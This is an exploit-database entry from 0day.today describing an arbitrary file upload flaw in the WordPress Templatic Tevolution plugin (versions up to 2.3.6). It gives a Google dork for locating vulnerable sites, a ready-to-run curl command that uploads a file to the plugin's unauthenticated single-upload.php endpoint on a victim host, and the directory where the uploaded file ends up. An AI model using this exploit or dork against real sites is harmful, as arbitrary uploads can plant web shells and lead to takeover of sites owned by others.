WordPress Slider Templatic Tevolution < 2.3.6 - Arbitrary File Upload Vulnerability

2016-12-30T00:00:00
ID 1337DAY-ID-26596
Type zdt
Reporter r3m1ck
Modified 2016-12-30T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: WordPress Templatic <= 2.3.6 Tevolution File Upload Vulnerability
# Date: 30-12-2016
# Software Link: Permium plugin
# Vendor Homepage: https://templatic.com/wordpress-plugins/tevolution
# Exploit Author: r3m1ck
# Website: https://www.r3m1ck.us/
# Category: webapps
# Google Dork: inurl:"wp-content/plugins/Tevolution/"
 
1. Description
 
Wordpress Slider Templatic Tevolution <= 2.3.6 suffers from file upload vulnerability.
Tevolution is not available for sale, it comes bundled with certain premium themes from templatic.
 
2. Proof of Concept
 
curl -k -X POST -F "[email protected]/ina.txt" http://VICTIM/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php
 
3. Uploaded file location:
 
Because this vulnerability plugin bundled with some premium themes from templatic, the location will be depends on the themes' name.
ex:
http://VICTIM/wp-content/themes/Directory/images/tmp/ina.txt

#  0day.today [2018-03-19]  #